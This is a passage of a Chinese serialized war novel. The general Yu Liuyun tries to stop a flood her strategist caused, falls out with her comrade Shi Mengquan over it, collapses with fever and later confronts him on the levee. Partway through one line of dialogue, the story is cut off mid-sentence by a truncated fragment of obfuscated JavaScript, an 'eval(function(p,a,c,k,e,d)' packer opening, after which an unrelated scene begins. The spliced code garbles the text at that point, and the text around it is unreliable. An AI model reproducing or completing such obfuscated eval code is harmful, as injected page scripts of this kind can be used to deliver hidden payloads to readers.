“是。”慕容齐得令,点了十名精干的士兵。玉旒云打马领头,带着一行人来到城西乔家废宅。她半句也不交代,径直朝院里走。来到厨房的水池边,看池中清水依旧,仿佛地道仍旧关闭,但自己当初命人封锁地道所用的石块却都堆在一旁。 果然如此!果然如此!她恨恨地想。上前拨动机关,池水渐渐消失,池底下陷,成了一段台阶。之前郭罡演示时她看过,这台阶是通往地道的。但这时一看,下面哪里还是地道,已经被滚滚黄水所取代。 慕容齐等人都还不知内情,奇道:“这里的人修的阴沟和大青河是相连的么?”又有人想问玉旒云带他们来此究竟是何意图。而玉旒云已经冷笑了一声,令道:“来,把石块给我丢进去,看看能不能堵住。” 众人心中都很奇怪,但是对玉旒云的命令无人敢质疑,便都去搬石块填入地道中。转眼就已经把先前封堵洞口的大石都丢进了地道中。然而,石块仿佛被水流吞噬了一般,消失得无影无踪。大家把眼望了望玉旒云,后者道:“怎么?愣着干什么?看看附近凡是能搬起来的,木头也好,石头也罢,统统给我填进去,一定要把水堵住。” 众人不敢怠慢,立刻应了,各自寻找填堵之物,有搬砖的,有拿瓦的,有拆下破旧门窗的,一时间,乔家厨房的废墟几乎都被推进了洞里。只是,填堵物零散,地道中水流却湍急,成效甚微。慕容齐因道:“将军,我们不是行家里手,做事不得法,恐怕把整个宅子拆了也堵不上。工兵营大都没跟着刘将军走,不如把许都尉叫来看看?” 玉旒云愣了愣,似乎是惊讶自己怎么早没有想到找工兵营,便立刻令道:“叫许昌来!” 士兵得令就去,不多时,工兵营都尉许昌就带着几个水利好手赶到了乔家废宅。查看了地道口附近的形势,汇报道:“通水口隐在远处,也不知是什么机关,不把地面掘开,无法看到。但是贸然掘开附近土石也许会使洪水愈加凶猛。不知这水流到哪里去?如果在下游疏导,也许会更好些。” “下游?”玉旒云摇头,“下游就在靖杨城中。那里地势低于大青河水面,无法疏导,只能从上游堵。” 慕容齐闻言一愣:“难道……难道靖杨的洪水就是因为这里?” 玉旒云不答。 旁边一个士兵又问道:“那么说是将军巧计引水淹了靖杨城,使敌人不战而退?” 玉旒云也不回答。 士兵们都知道她平时话不多,只道不答应就表示默认了,登时兴奋了起来,纷纷道:哎呀,原来是将军的好计策!当真不费一兵一卒就打下了靖杨城。又有人头脑转得快些,道:如果能将靖杨的水排掉,咱们从南线进兵江阳岂不易如反掌?一定会比刘将军先攻下郑国!士兵们无不精神振奋:难怪玉旒云待刘子飞一走就立刻来这里要堵塞河水呢!便都看向了许昌:“许都尉,要怎样才能解了靖杨的洪水?” 许昌自己虽是工兵营都尉,但并不精通工程,自然要熟识水利的师傅回答。这师傅皱着眉头:“下游既然是‘悬河’,那就只能采取在上游硬堵了。只是一时之间能堵多结实可说不准。” 玉旒云道:“不管用什么法子,给我解了靖杨的洪水就是。” 身为军人,许昌对军令唯有绝对服从,而他手下的一个师傅却道:“这种事如何能打保票?水势由天而定,人力岂能大过天去?将军下令毁坏河堤冲毁靖杨何其容易,现在想要洪水立刻停止,除非你有本事下令叫大青河逆流,否则我可不敢立这个军令状。” 郭罡私自引水,玉旒云已经准备好要担负失察之过,可骤然被人指责“下令”毁堤,这是莫大的冤枉,她心中立刻觉得既愤怒又委屈,本来阴冷的面色霎时变得比冰峰还凛冽,喝道:“你是什么人?敢如此跟我说话?” 这师傅毫不畏惧,一旁的许昌连忙答道:“启禀将军,他叫孙继宗,是在青窑才应征入伍的,在军中的时间不长,所以不识得规矩。” 青窑,玉旒云想,那是大青河回师石坪的途中。 孙继宗冷笑了一声:“我不是‘应征入伍’,我是被强拉入伍的。本来好好的在青窑跟着顾侍郎治蝗,却被你抓来排水修路。顾侍郎说你这个人穷兵黩武不顾百姓死活,我真是深深领教!” 原来是顾长风的人!玉旒云反而不那么生气了:顾长风跟自己的误会由来已久,将来总有解开的一天。这个孙继宗既然是追随顾长风的,脾气古怪些也不足为奇。重要的是,能够追随顾长风做事,应该还有些本领,有了他,修复机关总算有了希望。 玉旒云因而也冷冷一笑,道:“我是不是逆天而行现在来计较还有什么用?我告诉你,洪水一下,淹没靖杨之后还会相继淹没乾窑、归平,黎茳等六个县。如果你是个在乎百姓死活的人,你就应该好好想一想,究竟现在是该赶紧把洪水止住,还是要继续跟我作对。” 此话一出,孙继宗果然愣了愣。 玉旒云知道事情有望,演戏要演足,于是一挥手:“我们走——许都尉这里就交给你了,需要什么东西,多少人手,你直接传我的命令就可。” 许昌连忙顿首答应。而他话音落下时,玉旒云已经带着慕容齐等出门到赵家宅中查看去了。 赵家宅中的地道也遭到了相似的毁坏。玉旒云尝试着叫士兵用土石木料填堵,但成效不大。而她并不放弃,决心就是要把整所宅院填入地道也要把洪水挡住,便率领慕容齐等将士一刻也不停地将砖头、木柱等堵进地道中。士兵们干了两三个时辰,都累得满头大汗,玉旒云即叫慕容齐立刻再调一队人来换班——如此一直到了黄昏时分,士兵换了几拨,她自己却一直留在一旁监督,连水也不曾喝得一口。 天快黑的时候,许昌兴奋地来报,乔家地道出口已经被堵死,大青河水不再灌入,地道内水面平静,基本没有流动的迹象,应该不会再流入靖杨城了。 玉旒云大喜,立刻亲自去查看,果不其然,慕容齐在赵家宅中填了几个时辰也未达到如此效果,惊喜地追问孙继宗:“究竟是如何做的?” 孙继宗连正眼也不看他,道:“你们只会打仗杀人,何必管我这些救人的事?” “喂,你——”慕容齐很是恼火。 不过玉旒云拦住了他:“正好,这旁边还是一处缺口,你也照样堵上吧。” 孙继宗气愤地看着她:“人说祸不单行,原来是有人造孽也要造成双成对!” 玉旒云不再被他所激怒,只是冷冷地命令许昌把孙继宗和其他工兵营的工匠都带到赵家宅去。 “如果能把另外一个缺口也堵得和这边一样,”她问孙继宗,“靖杨的洪水是否会就此退去?” 孙继宗冷然道:“内涝无法向大青河排,自然需要很久才能慢慢消退。” 玉旒云道:“多久?” 孙继宗道:“怎么?将军是关心多久大军才能通过靖杨么?恕草民无可奉告——不过有一点草民可以告诉将军,这里的封堵只是暂时,毕竟泥土木料不比石砖灰浆,只要河水浸坏了堤防,洪水还是会灌进通道中,到时候大军被淹没,草民可没有办法。” 这就是说要立刻到靖杨去,玉旒云想,否则洪水再次袭来,一旦靖杨河堤决口,梦泉就有危险! 她看了看孙继宗,冷冷一笑,道:“我大军无论如何一定要东进。我也许不顾百姓的死活,但是很关心我部下的死活。你如果也当他们是自己的同胞,就该明白自己要做点什么。” 孙继宗恨恨地盯着她,明知她用激将法逼自己在此继续修护堤防,却也不能出言拒绝。 玉旒云又接着道:“并且,我也可以告诉你一点——这些士兵有不少原籍是南方七郡,战争结束后我打算让他们解甲归田回乡务农。他们的父母能不能见到儿子,就看你在富安的表现如何了。” “你放心,”孙继宗咬着牙,“我做事只求对得起天地良心,如果这些士兵有个万一,一定不是因为我。你还是担心自己怎么向这些士兵的家乡父老交代吧!” “很好。”玉旒云冷冷道,“既然你这么说,如果我在下游遇到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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众人往城中行了一段,道路并不泥泞却滑溜不已——乃是因为前两日又下了雪,建锐、神弩二营的兵士将雪踩化了,夜间寒冷非常,雪和泥水都冻成了冰,现在玉旒云率众前来简直寸步难移。许昌当即命令工兵营士兵将路旁的树木砍倒,将树枝铺在冰上做防滑之用,树枝不够时,又将民宅的篱笆拆毁替代,到篱笆也不足以解决问题时,他便命人去将屋顶的茅草扯下来用。 部队行进缓慢,到天大亮时,也不过才走出一里地。玉旒云看前方,根本不见建锐、神弩二营的踪影,心急如焚,嫌马不能在兵面上行走,索性跃了下来,找了些稻草绑在靴子上,徒步先向前去。许昌本要追上来护卫,但玉旒云命他留下继续督促修路,尽量为后面慕容齐的部队开道。许昌只得另派了一个年轻兵丁随从。 玉旒云在滑溜无比的冰道上艰难地行出一段路,发现冰渐渐被烂泥取代,又走一程,路面上的泥水渐多,起初只是淹过了脚背,既而便淹到了膝际,鞋袜尽湿,冰冷刺骨。那个小士兵冻得直打冷战,还不忘许昌吩咐自己要尽责,对玉旒云道:“玉将军,这路实在太烂,您要是急着见石将军,小的跑进去给您传个话——万一您冻病了,可不得了!” 但是玉旒云不听,反而加快了步子。走到岔路口,便见到一个樾军士兵从北面匆匆而来,身后拖着一只小木船,上面堆满了木料和沙石,见到她,惊喜道:“玉将军,怎么来了?” 玉旒云不答反问:“你们在前面修路?” “不是。”士兵道,“我们和石将军在南边加固大青河堤。还有一些人在城北开挖渠道,那里有个湖,冬天水位很低,也许可以把城里的水排到湖中去。” 玉旒云点了点头表示肯定,又问:“估计什么时候能把水排干?” 士兵道:“这个我可不晓得。也不知上水是从哪里淹起来的,好像是从天而降似的,不晓得排得干排不干。” 玉旒云道:“上游洪水源头已经堵上了。渠道修成大概要花多久?” 士兵道:“那可好!我们都不是行家里手,估摸着总三天之内就能挖好。只要河堤不出事,应该不影响大军通过。” 玉旒云再次肯定地点了点头:“我叫工兵营许都尉带了人来,现在后面修路。挖渠的工作他们比较在行,你们便换换岗。”说着,吩咐那随行的小兵:“你与他同去见许都尉,传达我的命令。” 小兵答应了,又问:“那将军去哪里?” 玉旒云道:“我去河堤上找石将军。”说时挥挥手,示意二人赶紧去传令,自己接过了那拖船的绳子,拽着木料沙石向南方趟水而去。 只不过隔了两日的时间,靖杨的水位比石梦泉初进城时又上涨了。才向南走出没多远,积水陡然变深,连大腿都浸在刺骨的泥浆之中。 大伙儿在这样的形势下劳作了两日,也不知有多少人会病倒?玉旒云且行且想,两腿都冻得有些麻木了,想咬紧牙关,却只是不住地打颤。那船木石变得有千钧重,每走一步背后就出一层汗,冷风吹过,感觉凉飕飕的。看到前面有人影朝自己跑来,她竟有一刹那眼前发黑,听到来人叫道:“哎呀,是玉将军!真的是玉将军!”她才猛地一甩头,看清了跟前,原来是卢进的手下。 那几个士兵趟着水跑到了跟前,接过绳子,七嘴八舌地问道:“将军,您怎么一个人跑到这里来?” “我不是一个人。”玉旒云道,“工兵营在后面来帮你们排水修路——石将军在堤坝上?” 士兵们道:“可不?上了堤就还没下来过。”他们簇拥着玉旒云朝南走,不久,水都快淹到腰际了,走路像是踩在棉花上一般,摇摇欲倒。幸而又走一段,看到前面乱石堆得小山似的,脚下也突然踩着了实地。“这是咱们两天来的战果。”士兵说道,合力将船拉到了石滩上。大家加快步子,终于走出了寒冷的水潭。 一个士兵指了指堤坝,上面许多人正挑土抬石。“堤坝下面原本都是土夯的,”一个士兵解释道,“水一泡好几处都滑坡了,石将军害怕堤坝决口,大军无法前进,所以让咱们无论如何要保住大堤——玉将军如今带了工兵营来,那是再好不过了。” 玉旒云无心听他们细说,只眺望大堤,分辨哪一个才是石梦泉的身影。那堤上忙忙碌碌足有百人,个个都满身泥浆肮脏不堪。然而她还是很快就认出来了——正站在大堤顶上独力扛着一块大石的便是了。便疾步朝堤上攀去。 她虽然半身染满泥浆脸色也冻得发青,全然不似平日高高在上纤尘不然的模样,但一路上抢修堤坝的士兵们还是都认出了她来,纷纷惊喜地问好。她也同他们一一点头招呼。 眼看就要上到堤顶了,石梦泉的背影也越来越清晰,显然是因为干活卖力,出了一身的汗,这么冷的天气里他只穿了单衣而已。玉旒云想:这要是再像大青河之战时那样病了怎么办?便想要唤他一声,可突然又把那声呼喊咽了回去——那日在富安,她原是因为担心他的安危特特从朱家坝赶了回来;见到了他,她的第一句话是“你没有受伤把”而他的第一句话却是“这都是你计划好的么”——他疑她至斯!他们相识已经是第十七个年头,他却这样同她说话。他应该知道她是有苦衷的,是逼不得已的——越是这种时候,他越是应该支持她,然而他竟然责问她! 今日她来到这里,他的第一句话会是什么?原指望着从他那里得到一些安慰,但靖杨如此情形,他会相信这都是郭罡自作主张吗? 多半又是要责问我,玉旒云想着,起了一丝任性的念头:他应该支持我,应该理解我,若他疑我,那就是他的错。我何苦低声下气来找他,反而好像我做了错事一样。错的是郭罡,不是我。 这想法上了心头,她立刻转身又朝堤坝下面走去:她要回去升帐坐堂,看石梦泉来不来哄自己! 只是才走了几步,听得背后有人叫道:“玉将军!”显然是堤坝上的士兵也认出自己来了,同时就感觉到石梦泉转过了头,看到了自己。她只好又停下了脚步。 堤坝上的士兵纷纷丢下手里的活儿跑了过来,将她围在了中间,有些只是问长问短,有些则是保证会保护河堤,决不延误行军,还有的见她满身泥水,催促他赶紧下堤,免得生病。玉旒云有口无心地同大家应答着,惟独不见石梦泉上前来。她终于有些忍不住了,“霍”地转过身去,见石梦泉还站在原地,肩上扛着块石头,静静地望着自己。因为背光,辨不清他脸上的表情,但她感觉不到一丝的慰问,那两道目光中只有质问和失望。 她本来被这寒风吹得浑身发冷,这时却觉得有一股火焰从心里燃了起来,烧得四肢百骸无不滚烫,便一咬嘴唇,大步朝石梦泉走了过去,完全端起了自己皇亲国戚的架子,冷冷道:“石将军,我让你做先锋火速东进,你为何耽搁在此?” 石梦泉愣了一下,顿首道:“道路已经被水淹没,如果不加固大堤,恐怕决口,洪水泛滥,到时东方另六个城池也会全部被淹没,大军将寸步难行。再说,我作为先锋部队的主将,也不希望留给后继占领部队一个烂摊子。” 玉旒云道:“我给你的命令是进军,接下来如何实现全面占领是我的事,我自然会处理。现在上游洪水的源头已经被我堵住,这里的积水会自然消退。你自作主张逗留在此,可知道刘子飞率领部队转战北线,要多消耗多少人力、物力?” 石梦泉不答。 玉旒云又道:“先前传令给你,命你立刻绕路攻打龙牙关,你为何只当没听见?也许你一意孤行想等这里的洪水退了,再继续东行,但你有没有想过,如果由刘子飞率先攻进江阳,将置我于何地?” 石梦泉不擅辩论,一时被玉旒云问住了——他在这里治水,根本就不是为了东进,他已把整个军事行动抛诸脑后,所以更加不会考虑到刘子飞改变作战计划的后果。他只是觉得引水淹没这些无辜的百姓是一个天大的错误,如今既已造了这个孽,他要尽己所能来赎罪。他因而只是定定的看着玉旒云,一言不发。 玉旒云心中的火烧得更加厉害了,觉得两眼都烫了起来:“虽说将在外军令有所不受,但是你如此决断,和公然违抗我的命令有什么不同?” 石梦泉颤了一颤,声音有些低哑:“如果大人觉得放任洪水先淹没下游的城池有助于我军作战,属下……属下也无话可说。现在您是要属下立刻招集人马转战北线么?” “我现在要你去北方跟在刘子飞后面做什么?”玉旒云听他如此语气愈加生气,“已经耽误了时间,只好将错就错——你赶紧把排水沟修好,步军营随后就要到了。我们继续从东线进攻,一定要抢在刘子飞之前攻下郑国!” “好一个‘将错就错’!”石梦泉突然也冷笑了起来。人命在你眼里究竟算什么?你为什么甘于受郭罡的摆布?你开始叫我转战北线,莫非是想他去替你杀了刘子飞么?这些问题几乎冲口而出,但他终于忍住,只道:“那么就请大人去制订一份详细的作战计划,到时候只要交代属下,属下一定竭力完成。” 玉旒云盯着他,咬牙道:“好!”转身就朝堤下走——因为动作过猛,竟然有些踉跄,旁边有士兵想伸手扶她,又被她一掌推开。 大家都看出玉、石二人的态度有些不同以往,但谁也不敢发问,都愣愣地呆在原地,有人望着玉旒云,有人瞧着石梦泉,希望他们能给出个解释,但这两个人也都咬着嘴唇不发声。良久,石梦泉才道:“都愣着做什么?既然玉大人要我们挖渠排水,立刻整队去城北开渠就是!” 大家这才讷讷地答应,放下了手里的箩筐扁担,各自去禀上司、招呼同伴。 而这时候,突然听到堤下一声叫:“啊呀,玉将军!” 所有人都寻声望去,并不见玉旒云,只见到有七、八个士兵迅速地朝一处聚拢。在齐腰深的水里,他们都矮下身去,在浑浊的泥浆里一阵摸索,不一会儿,就拉出一个人来,正是玉旒云。 石梦泉的心跳几乎停止了,忘记了方才还跟玉旒云赌气,不顾堤坝上乱石滑溜,提了一口气就直向下奔。他从几个趟水过来的士兵身上借力疾纵,分开人群来到玉旒云的身边。 “大人!你怎么了?”他一把从士兵的手里抱过玉旒云来,只见她面色苍白,嘴唇青紫,眉头深锁,双目紧闭。试了试额头,比火还要烫。 石梦泉觉得仿佛一把尖刀剜开了自己的胸膛,疼得几乎站立不住。幸而罗满也走到了跟前,见状立刻叫到:“拉一条船来!快叫军医!”士兵们才像被发动了机关,乱纷纷跑开找船、喊大夫。 啊,她病得这样厉害,我方才怎么没有注意到?我方才……石梦泉不住地埋怨自己,紧紧地抱着玉旒云,生怕一松手,就会永远失去她。 然而偏偏就在这个时候,河堤西面有人叫道:“不好了,这边开始渗水了!” 61. 第 61 章 玉旒云醒过来的时候头疼欲裂,见到床头有一盏微弱的灯,于是借着那油黄的光费力地环视四周:那是一间极普通的房子,无法告诉她自己身在何处。她便扶着床沿儿坐起身来,想要回忆起之前发生了什么事,然而只记得河堤上石梦泉的那声冷笑,接着浑身就剧痛起来,尤其是心口。 她看到自己的剑就挂在床边,因拿过来做支撑,这才站起了身。但是才朝门口移动了半步就觉得两腿发软,一个踉跄摔了下去。 也不知是撞倒了桌子还是板凳,发出很大的声响。外面的人被惊动了,连忙推门进来:“大人,您没事么?” 玉旒云见这人扎着一条墨绿色的腰带,就知道是樾军的军医,因问:“我怎么了?这是哪里?” 军医扶她坐回床上:“大人连日操劳过度又被寒邪侵袭以致高热不退,已经昏睡了三天了。” “三天?”玉旒云惊讶,许久都没有病得这么厉害! 军医又道:“这儿是靖杨北门外一处荒废的宅子,大约原来是某个乡绅的避暑别墅,但是长久没人居住。大人正可在此疗养。” “靖杨北门外……”玉旒云喃喃,“靖杨现在怎样了?” 军医道:“靖杨的排水渠都挖好了,城里的积水基本都排出,但是大堤多处渗水,这几天石将军带人日夜抢修,目前还没决口。不过也不敢太早放松,北面地势高些,所以把大人安顿在这边。” “大堤危险么?”玉旒云问。 军医道:“属下不知。只是病倒的士兵很多,受外伤的也不少。” “我要去看看!”玉旒云又想起身。 “万万不可!”军医阻拦,“现在天气阴寒,对大人身体很是不利。如果病情反复,落下了病根,今后就麻烦了。”他说着,看似乎并劝不动玉旒云,于是又补充道:“就算大人现在要去,恐怕您的体力连院门也出不去,不如好好再休息一天,等有精神再去,如何?” 玉旒云只不过稍有动作已经出了一身的冷汗,现在四肢百骸无不酸疼,别说是出院门,大概连这房门也出不去,更不用说骑马奔驰了。她也只好顺从了军医的意见:“你开了什么药?拿给我。不要怕药性猛,我只想快点儿好,这场仗耽搁不得。” 军医道:“大人不要急,药岂能乱用的?大人现在身子虚,如果用些虎狼药只会有百害而无一利。您只要安心休息,过个三五天自然就会好了。” 玉旒云没有力气同他争辩,挥了挥手,示意他可以退下了。可是,当军医走到门口时,她又问道:“石将军……可来过?” “来过两次。”军医道,“河堤上忙得很,他得闲就来。不过每次来的时候大人都还没醒。” “今天可来过?”玉旒云又问。 军医摇摇头。 玉旒云道:“那好,一会儿若他来了,叫醒我。” 军医答应,退了出去。 玉旒云一个人坐了一会儿,心里烦乱得很,一忽而担心石梦泉来了军医会不叫自己,一忽而又怕石梦泉会舍不得叫醒自己,耳朵里好像有许多人在争吵,搞得她疲惫不堪,偏偏还睡不着。 她想,倘若石梦泉来了,就把事情原原本本地告诉他——可恶的郭罡,从一开始就想挑拨二人的关系,也许老家伙是算准了石梦泉盛怒之下会失去判断力,正好可以使他们产生误会。只要她把来龙去脉都说清楚,石梦泉一定会明白的。 但如果石梦泉不来呢?寒意来侵袭,她不得不缩进了被子里,头脑昏胀,终于慢慢地失去了意识。 也不知道这次睡了多久,醒来的时候连床头的灯都熄灭了,只有外面的灯光从窗户透进来。她感觉恢复了一些力气,就下了床来,到窗边看看,见一钩新月挂在中天,正夜深。 这么晚了,石梦泉还没有来,大约今夜不会相见了吧?她叹了一口气,想转身回床上去,但忽又想:该不会他永远都不来了吧?于是心下陡然一凉,更兼冷风吹过,把一阵若有若无的谈话声送到了她的耳中。 “玉将军和石将军也能意见不合,实在想不到。”一个人道,“以前可从没见过他们这样。” 另一个道:“石将军要抢修堤坝,这一点儿也没错啊——如果不修好,岂不是咱们都要被洪水淹死?玉将军太心急了。” “话可不能这么说。”第三个人道,“玉将军不是叫石将军转战北方了么?她想出了用水淹死敌人不战而胜这样的好办法,就传信给石将军叫他从北方打进江阳——她可没想要咱们冒被洪水冲走的危险啊!是石将军没领会她的意思罢了。” 听了这话,玉旒云不禁惊了惊:这件事什么时候传得尽人皆知了?啊,是了,当日在乔家宅,自己已经默认了是引水淹城的主谋,那时步军营和工兵营都有人在场,如今许昌已来到了靖杨,而慕容齐的部队也该随后抵达,这消息当然也就传遍了整支军队。 “绕去北方毕竟远些!”先前的那个又道,“再说谁想跟着刘将军受气?如果能及时把这儿的水排尽、路修好,当然便捷得多。谁也没想到那河堤这么经不起泡。” 第一个人道:“我不明白——两个人毕竟是两个人,再怎么默契那都不是一个人,各有各的计划,听岔了、领悟错了,都是正常。玉将军和石将军在一起这么多年,这些小摩擦还能没有过?现在玉将军已经带了工兵营来靖杨帮着修护堤防,可见她也打算照着石将军的计划从南线进军——这不就解决了么?她素来以大局为重,怎么会为了先前的一点儿小误会和石将军斗气?而石将军也不是量小的人,怎么会和玉将军计较不能回头的事?实在太奇怪了!” “他们计较的不是这事!”又响起了第四人的声音。玉旒云识得这是罗满,心中先是一喜:他来了,莫非石梦泉也到了?但随即又想到:如果石梦泉在侧,罗满怎么会容许士兵议论上司? “罗副将!”三个士兵都向他问好。 罗满道:“怪冷的。你们三个猴崽子不好好儿地在这站岗,倒议论起大人们的是非来,就不怕我办了你们?” 士兵们笑道:“罗副将别拿咱们开心啦。咱们哪儿会议论将军们?只不过是纳闷而已——玉将军和石将军究竟怎么了?” 罗满道:“我不晓得。这事也不该我们议论。” 士兵们道:“罗副将,别卖关子了。你跟着石将军这么久了,一定知道些什么。快告诉我们吧,这样闷在心里急死人了!你说出来,咱们也好看看有什么能帮上忙的。” 罗满道:“你们能帮上的忙就是做好自己的本分——将军们的事他们自己会处理……” “啊!”一个士兵突然叫道,“我知道了,是因为玉将军巧用洪水逼走敌人,但也使得百姓流离失所,石将军不能认同——是也不是?” 罗满没有回答。另一个士兵已接着道:“你这样一讲,可不如此!石将军把人命看得比什么都重,每次打仗的时候对待俘虏都是以劝降为主,占领区的老百姓更是好像自己的父老一般。记得落雁谷的时候,玉将军下令杀尽楚军俘虏,石将军已经很不快,如今玉将军下令淹没靖杨和下游的六个城池,石将军怎么能答应呢?” 这士兵算是了解石梦泉的了,可谓一语中的。 “我看玉将军做的没什么不对。”第三个士兵道,“本来打仗就该是我方伤亡怎么小怎么打,引水来淹是最好的办法。再说,玉将军不是也不顾老百姓的死活——她不是带着工兵营来帮忙了么?” “这怎么同?”先前那人道:“玉将军带着工兵营来是为了修路,保证大军通过,好抢在刘将军之前攻下江阳;石将军却是怕洪水淹没下游的老百姓才放弃绕道北方,留在此地抢修堤坝——” “郑国人早都逃难去了!”第三个士兵打断同伴,“现在要紧的是拿下郑国,之后这里都成了我大樾领土,自然替他们修筑河堤,恢复耕种,就像当日在南方七郡时一样。” “先毁了再修,不是跟先打断了人的腿再给接上一样?”先前的人不赞同,“玉将军用这引水的法子,固然将我军伤亡降到最小,但是郑国百姓或者葬身水中或者背井离乡,这跟屠城有什么分别呢?” 屠城!玉旒云一颤,竟然有人把淹没靖杨看的和屠城一样么?那石梦泉又是怎样看的? “你们都别吵了。”罗满道,“我叫你们不要乱猜,你们还越发起劲儿了?玉将军有玉将军的考量,石将军有石将军的决策。打仗没有不死人的,咱们要关心的一是怎么打胜仗,二是怎么保住自己的命。有功夫在这里猜乱想还不如去看看病号们是不是需要喝水——兵队里最忌讳闲言闲语扰乱军心。” 士兵们一想,果然是这个道理,就都各自做事去了,连罗满的声音也消失。院子里一时只剩下飕飕的风声。 不过玉旒云的心里愈加翻腾得厉害:罗满是压下了这议论,但是能压得住人心里的疑问么?尤其,石梦泉现在心里是怎么想的?一刻不得到一个明确的答案就一刻不得安宁。 她一咬牙,抓过一件披风出了门口。 军医不在跟前,玉旒云走出宅院又上马进城并没有遇到丝毫的阻挡。夜里本就寒冷,骑马奔驰更加感觉风一刀一刀地割在身上。等进了靖杨北门时,她已经冻得浑身像烧起来一样疼,又奔一段就麻木了,仿佛除了脑子里还不停地翻腾着一些激动的情绪,身上的其他部分都不再是自己的。等终于来到河堤旁,已近黎明,但天正是最黑暗的时候。 樾军修护大堤显然是日夜轮班,时刻不放松。借着火把的强光可以看到,原先堆的小石山已经加上了灰浆,在大堤下砌了半丈高,工兵营的人正带着其他士兵继续向上砌石。在临时铺的木板通道上,石料被一筐一筐地抬上堤去,一小队一小队的人马在出现渗水险情的地段紧张地劳作。 玉旒云一出现,堤下的士兵立刻就见到了她:“将军,你可大好了么?” 玉旒云并不答,跳下马来就朝堤上走。左右她身体亦已经冻僵了,什么酸痛也感觉不出来,凭着心里的那一股气,竟然也走得飞快,没多大功夫就到了大堤顶上。火把在旁熊熊地燃烧,直晃人的眼睛,她一个一个人群地寻过去,要找石梦泉。 往东面走出了很远也未见到,只遇上了许昌。许昌道:“咦,将军,你怎么到了这里?风很大,小心又病倒!”她却仿佛没有听见,转身向西。终于,在尽西边看到石梦泉了,带着十来个士兵正将新堵上的几块石头夯实。由工兵营的带头,大家抡着粗制的木锤,锤头此起彼落,干得专著,竟没有人发现玉旒云的到来。直到她走到近前,推开一个士兵,大家才愣了愣。 石梦泉惊道:“大人,你怎么……” 玉旒云道:“你来,我有话问你。” “这里风大,”石梦泉道,“大人快回去休息,有什么话,我白天去看你的时候再问……” “我有话问你!”玉旒云再一次说道,这回近乎厉声命令了,士兵们都惊讶地停下了手里的活儿,看着他们两人。 石梦泉也只好放下了木锤,道:“你们继续,我去去就来。”因走到了玉旒云的身边:“大人,我送你回去。” 玉旒云道:“我有手有脚自己会回去,问完这句话我就走。”便跨过坝顶,来到大堤外的斜坡上,大青河黑沉沉地流淌在她的脚下。 石梦泉惟恐她有危险,赶忙跟上拉住她的手肘,道:“大人小心。” “不用你扶!”玉旒云甩开了,盯着他,“我问你,你是不是认为我叫郭罡引水淹了靖杨?你是不是怪我?” 石梦泉不答。他心里的确是这样认为的,也无数次地想象着如何当着玉旒云的面把这些困扰自己的话说出来,但是始终也开不了口。未料到头来发作的却是玉旒云。他看到她面色潮红,知道大约又发起烧来,就劝道:“大人,还是我送你回去好好休息。有什么话,等到你病好了再说。” “我不回去!”玉旒云以为他又要来拉自己,朝后一让,不想脚下踩滑了,直往水中摔落。幸得石梦泉眼明手快一把拽住。但玉旒云“啪”地将他的手打落:“你今天不回答我,我决不回去!” 石梦泉只是一触已感觉她的手烫得像炭火一样,既心疼又着急。他可以哄她,说自己根本不怪她,三言两语骗她回去养病。但是那之后会怎样?他不仅要她的人没事,还要她将来不走上歪路,要她不再被郭罡玩弄于股掌之间,要她不至于变成为达目的不择手段的人……哪怕就她就此恨上自己,他也要把她拉回来。于是咬了咬嘴唇,正色道:“不错。要攻下郑国有很多方法,为何要选这一个?” 玉旒云死死的盯着他,半晌才道:“如果我说我什么都不知道,这完全是郭罡背着我做的呢?” 石梦泉答不上来。他当然愿意相信是这样,然而之前吕异的死显然经过了玉旒云的首肯。他并不相信她会为了收回兵权就杀害自己人,可她的确做了。郭罡有蛊惑人心的力量,他会把玉旒云变成什么样,石梦泉委实不敢想象。 便有更长久的沉默,如此沉重,仿佛把大青河的波涛都压住了。终于,玉旒云说出了一个字:“好。” 石梦泉怔了怔,不明白她说“好”是什么意思。玉旒云就突然笑了起来,向后连连退了几步,说道:“好,好,真是好!” “大人,其实……”石梦泉想说出自己心里的全部想法,然而玉旒云已经转身朝堤上走。三两步就到了坝顶,她跨回河堤内,一头扎进正打夯的士兵中,抄起石梦泉放下的木锤朝石料上狠狠砸了下去。 打夯虽是力气活儿,但是方向和落点都很有讲究,所以才要有“夯头”指挥。玉旒云这样不问青红皂白地冲进来乱砸一气自然打乱了大家的阵脚,众士兵都不得不停了下来,工兵营的人更是惊讶万分地看着她,道:“将军,你这是……” 石梦泉随后就追到,一把抓住木锤柄,道:“大人,不要再闹了。这里不是你应该来的地方。” “为什么?”玉旒云发了狠,将沉重的木锤硬是一甩,石梦泉也掌握不住。“我堂堂惊雷大将军,有什么地方是我不该来的?”她说着,木锤又砸在石料上,似乎是用尽了全力,只她一人就把石料打下去两寸多。 旁边的士兵目瞪口呆地看着,她身子摇晃,似乎随时会跌倒,然而那木锤抡起又落下,竟十分稳定。这里的士兵也都或多或少的听说了洪水乃人为一事,心里各有各的看法,但见到玉旒云这样拼命地打夯,心中纵然有丝丝对她的议论也都抛到了脑后,只觉得像是将军亲来带他们冲锋一般,便纷纷重新拿起了木锤。没多一刻就把渗漏处堵得严严实实。 “那边——”玉旒云不待工兵营的人发话就又指着一处凹陷处,道,“把那儿也修一修!” 士兵们自然习惯了听她的号令,立刻就抬着土石筐上跟前去。石梦泉又在这时抓住了玉旒云手中的木锤柄:“大人,回去吧!” 玉旒云看着他,因为发着烧又被风一吹,一双眼睛显得通红仿佛要哭出来一般。石梦泉就感觉心中比针扎还要难受,哑声道:“你这又是何必?” “什么何必?”玉旒云想要挣开他,“你觉得是我淹了靖杨现在又来补偿么?你觉得我因为累这些百姓流离失所,所以现在良心不安了么?” 石梦泉见她这样不仅有失将军的身份,而且将连日来士兵们议论不已的话都挑明了,恐怕更要引起一场轩然大波,因此趁着其他士兵已去得远了,没人听到玉旒云的话,一把将她拉住就往堤下走。 玉旒云头脑昏热,已经完全失去理智,只觉心中积压了无数的委屈非要发泄出来,无论是用动作还是用声音,非得让那股怨气冲出胸膛,否则就要发疯。但她其实并不知道,她已经没有力气了,根本就拿不动那木锤,也走不动路,没几步就已经软倒下去;而且她也没有声音了,以为自己一刻不停地在嘶喊着什么,实际只是微微张翕着嘴唇而已。 